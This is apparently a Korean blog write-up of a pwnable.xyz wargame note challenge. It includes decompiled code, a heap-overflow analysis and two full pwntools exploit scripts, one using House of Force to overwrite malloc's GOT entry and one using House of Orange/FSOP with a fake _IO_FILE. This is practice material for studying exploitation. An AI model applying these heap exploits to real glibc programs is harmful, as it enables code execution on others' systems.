1. 문제
1) mitigation 확인
RELRO와 PIE가 안걸려있다.
2) 문제 확인
1번 메뉴로 노트 생성, 2번으로 수정, 3번으로 출력이 가능하다
3) 코드 확인
- make_note() 함수
int make_note() { _QWORD *v0; // rax unsigned int i; // [rsp+4h] [rbp-1Ch] unsigned __int64 nbytes; // [rsp+8h] [rbp-18h] note *note_form; // [rsp+10h] [rbp-10h] void *buf; // [rsp+18h] [rbp-8h] for ( i = 0; ; ++i ) { if ( i > 9 ) { LODWORD(v0) = puts("Notebook full"); return (int)v0; } if ( !notes[i] ) break; } printf("Size: "); nbytes = readint(); note_form = (note *)malloc(nbytes + 0x10); buf = malloc(0x20uLL); if ( !note_form || !buf ) { puts("Error"); exit(1); } printf("Title: "); read(0, buf, 0x20uLL); note_form->title = (char *)buf; printf("Note: "); note_form->note_len = read(0, ¬e_form->notes, nbytes); v0 = notes; notes[i] = note_form; return (int)v0; }
처음에 노트 크기를 입력한다. 그리고 입력한 사이즈 +0x10 만큼 할당을 받고, 0x20 크기로 title을 위한 청크를 할당 받는다. 노트 구조체는 다음과 같다.
타이틀에는 타이틀이 입력될 청크 주소가 들어가 있다. 그리고 실제 노트내용은 해당 청크에 입력된다.
- edit_note() 함수
int edit_note() { int result; // eax _DWORD *len; // rbx unsigned __int64 index; // [rsp+8h] [rbp-18h] printf("Note: "); index = readint(); if ( index > 9 || !notes[index] ) return puts("Error"); printf("Data: "); len = (_DWORD *)notes[index]; result = read(0, (void *)(notes[index] + 0x10LL), *(unsigned int *)notes[index]); *len = result; return result; }
make_note() 에서 입력한 노트의 길이만큼 노트를 재입력할수 있다. 만약 make_note함수에서 노트 사이즈를 -1을 주게 된다면, 길이는 0xffffffff이 되어 edit_note()로 heap overflow를 일으킬 수 있다.
2. 접근방법
해당 문제에는 free를 시키는 부분이 없다. 그래서 생각한 방법이 전에 공부했던 house of orange 기법이였다. 하지만, 이는 2.23 기준였고, 해당 문제에서 주어진 libc 버전은 2.24이기 때문에 안된다고 생각했다.
따라서 top 청크의 크기를 수정가능하기 떄문에 house of force로 조지면 될것같았다. 최종 목표는 note 구조체에서 title을 위한 청크 주소 부분을 got 주소로 변경하여, make_note에서 title 입력시 got overwrite를 통해 win함수를 덮어씌는 것이다.
hose of force를 위한 기본 개념은 위 링크를 참조하면 된다.
초기에 house of force를 이용하여 첫번째 청크주소를 재할당 받게 했다.
0x1484000 주소의 청크가 첫번째로 할당받은 청크이다. house of force를 통해 해당 청크의 mem 주소를 할당받는데 까지는 성공했다. 이제 mem+8 영역에 got 주소를 넣을라고 했는데 생각해보면, title 청크를 할당받는거는 make_note() 함수에서 수행되는 로직이다.
따라서 house of force로 top chunk를 이용해서 할당받아야 하는 주소는 0x148400 청크가 아니라 got 주소이다. 그래야, top 청크 사이즈를 0xffffffffffffffff으로 변경시키고, make_note()를 실행하면, 첫번째 입력한 size만큼 malloc이 진행된다. 이때 size를 다음 top 청크가 got 주소가 되게끔 세팅해준다.
그렇게 되면, 첫번째 malloc(size)는 현재 top 청크를 잘라서 할당을 해주고 top청크가 house of force로 수정되면서, got 주소로 변경된다.
이제 title을 위한 malloc(0x20)이 진행될때 위 탑청크주소인 0x601240을 확인하고 이를 split 가능한 크기이면 (확인해보면 가능한 크기임) 해당 청크를 잘라서 반환해준다. 즉, 0x601250 mem 영역을 반환해주고, 이게 title 주소로 들어간다.
그런다음 title에 입력을 하면 0x601250이 가리키는 위치에 win 함수 주소를 넣으면 된다.
해당 got 주소는 malloc 주소이므로, 이제 한번더 malloc이 호출되면, win함수가 실행된다.
아 참고로 libc릭은 그냥 heap overflow 이용해서 3번으로 조지면 쉽게 알수 있다.
3. 풀이
최종 익스드는 다음과 같다.
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30041)
#p=process("./challenge")
offset=ELF("./alpine-libc-2.24.so")
#gdb.attach(p,'code\nb *0xC14+$code\n')
def make_note(size,title,notes):
#p.sendlineafter("> ","1")
p.sendlineafter("Size: ",str(size))
p.sendafter("Title: ",str(title))
p.sendafter("Note: ",str(notes))
def edit_note(index,notes):
#p.sendlineafter("> ",str(menu))
p.sendlineafter("Note: ",str(index))
p.sendafter("Data: ",str(notes))
def show_note():
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
make_note(-1,"AA",str(1))
make_note(-1,"AA",str(2))
edit_note(0,p64(0)+p64(0x31)+"A"*0x20+p64(0)+p64(0x21)+p64(0xffffffff)+p64(0x601250))
show_note()
p.recvuntil("\n")
libc=p.recvuntil(':')[:-1]
malloc_addr=u64(libc.ljust(8,'\x00'))
log.info(hex(malloc_addr))
#remote
a=offset.symbols['malloc']
log.info(hex(a))
libc_base = malloc_addr - a
main_arena = libc_base + 0x393640
main_arena_top = main_arena + 0x58
p.sendlineafter("> ","2")
edit_note(0,p64(0)+p64(0x31)+"A"*0x20+p64(0)+p64(0x21)+p64(0xffffffff)+p64(main_arena_top))
show_note()
p.recvuntil("\n")
libc=p.recvuntil(':')[:-1]
t_top_addr=u64(libc.ljust(8,'\x00'))
log.info(hex(t_top_addr))
p.sendlineafter("> ","2")
edit_note(1,p64(0)+p64(0x31)+'A'*0x28+'\xff'*8)
p.sendlineafter("> ","1")
payload = 0x601250 - t_top_addr - 0x30
make_note(payload,p64(0x4008A2),"1")
make_note(payload,"AA",str(1))
p.interactive()
4. 다른 풀이
문제를 풀고 다른 롸업을 확인해 봤는데, house of orange로도 해당 문제를 풀수 있다고 한다. 그래서 한번 시도를 해보았다.
완벽하게 공부가 된건 아니다. 정확한 원리는 추후에 다시 공부해서 정리해야 할것 같다.
2.24 이후 버전에서는 vtable을 체크하는 로직이 추가가 되었다고 한다. vtable 주소가 _libc_IO_vtables
영역에 존재하는지 검증을 하는데 _libc_IO_vtables 영역에 공격에 사용할만한 함수가 존재한다고 한다.
[출처] 40. FSOP (우분투 18)|작성자 JSec
/*
_IO_vtable_check
Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
*/
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
요 로직이 vtable을 검사하는 루틴이라고 한다. 자세히는 아직 모르겠다.
아까 vtable 주소가 _libc_IO_vtables
영역에 존재하는지 검증한다고 했는데, 바로 이 검증 과정에서 공격이 가능하다고 한다. _libc_IO_vtables
영역을 보면, _IO_str_jumps
안에 존재하는 _IO_str_overflow
함수라고 한다.
/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
*/
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
/* ^ Getting RIP control !*/
맨 마지막 라인이 바로 핵심이다. fp가 가리키는 allocate_buffer 요 필드를 system 함수로 변경시키고, new_size를 /bin/sh 로 변경시키면 된다. 인자는 그냥 그대로 주면 안되고,
출처 : http://blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221772994371
요로직을 이용해서 넣어줘야 한다고 한다. 어렵다.ㅅㅂ 뭐
근데 해당 문제는, win함수만 넣으면 되기 때문에, 저거는 사용 안했다.
뭐 어쨋든 중요한 것은, 2.23 버전에서 사용한 로직 버그 + 버전업이 되면서 추가된 보안로직을 위해 값을 변경해줘야 한다는 것이다. 요 사이트 뿐만 아니라, 구글링을 해보면서 성공한 코드는 다음과 같다
- ubuntu 18.04 에서 했음
from pwn import *
from FILE import *
context(log_level="DEBUG")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./alpine-libc-2.24.so")}
#p=remote("svc.pwnable.xyz",30041)
p=process("./challenge",env=env)
off=ELF("./alpine-libc-2.24.so")
#gdb.attach(p,'code\nb *0xC0D+$code\n')
gdb.attach(p)
def make_note(size,title,notes):
#p.sendlineafter("> ","1")
p.sendlineafter("Size: ",str(size))
p.sendafter("Title: ",str(title))
p.sendafter("Note: ",str(notes))
def edit_note(index,notes):
#p.sendlineafter("> ",str(menu))
p.sendlineafter("Note: ",str(index))
p.sendafter("Data: ",str(notes))
def show_note():
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
make_note(-1,"AA",str(1))
make_note(-1,"AA",str(1))
make_note(-1,"AA",str(2))
edit_note(0,p64(0)+p64(0x31)+"A"*0x20+p64(0)+p64(0x21)+p64(0xffffffff)+p64(0x601240))
show_note()
p.recvuntil("\n")
libc=p.recvuntil(':')[:-1]
strtoull_addr=u64(libc.ljust(8,'\x00'))
log.info(hex(strtoull_addr))
m=off.symbols['malloc']
#libc_base=malloc_addr-m
libc_base=strtoull_addr-0x37EF0
log.info('libc_base::'+hex(libc_base))
l=off.symbols['_IO_list_all']
_IO_list_all=libc_base+l
jump=libc_base+off.symbols['_IO_file_jumps']+0xc0 # _IO_str_jumps
log.info('_io_str_jumps ::'+hex(jump))
main_arena = libc_base + 0x393640
main_arena_top = main_arena + 0x58
p.sendlineafter("> ","2")
edit_note(0,p64(0)+p64(0x31)+"A"*0x20+p64(0)+p64(0x21)+p64(0xffffffff)+p64(main_arena_top))
show_note()
p.recvuntil("\n")
libc=p.recvuntil(':')[:-1]
t_top_addr=u64(libc.ljust(8,'\x00'))
log.info(hex(t_top_addr))
p.sendlineafter("> ","2")
edit_note(1,p64(0)+p64(0x31)+'A'*0x20+p64(0)+p64(21)+p64(0xffffffff)+p64(0xf61)+p64(0)+p64(0x31)+"A"*0x20+p64(0)+p64(0xf11))
p.sendlineafter("> ","1")
make_note(0xff8,"AA","BB")
_IO_str_jumps = jump
pay=p64(0)+p64(0x31)+'A'*0x20+p64(0)+p64(0x31)+'B'*0x20
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=0x7fffffffffffffff
fake_file._IO_buf_base=0
fake_file._IO_buf_end=0
fake_file._mode=0
fake_file.vtable=_IO_str_jumps
pay+=str(fake_file).ljust(0xe0,'\x00')+p64(0x4008A2)
p.sendlineafter("> ","2")
edit_note(2,pay)
p.sendlineafter("> ","1")
p.sendlineafter("Size: ","32")
p.sendafter("Title: ","AA")
#make_note(32,"AA","BB")
p.interactive()
정확한 로직은 아직도 모르겠음... 분석을 제대로 해봐야겠다.
참고 사이트
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Knum (0) | 2020.05.31 |
---|---|
[pwnable.xyz] PvE (0) | 2020.05.27 |
[pwnable.xyz] world (0) | 2020.05.22 |
[pwnable.xyz] door (0) | 2020.05.20 |
[pwnable.xyz] child (0) | 2020.05.19 |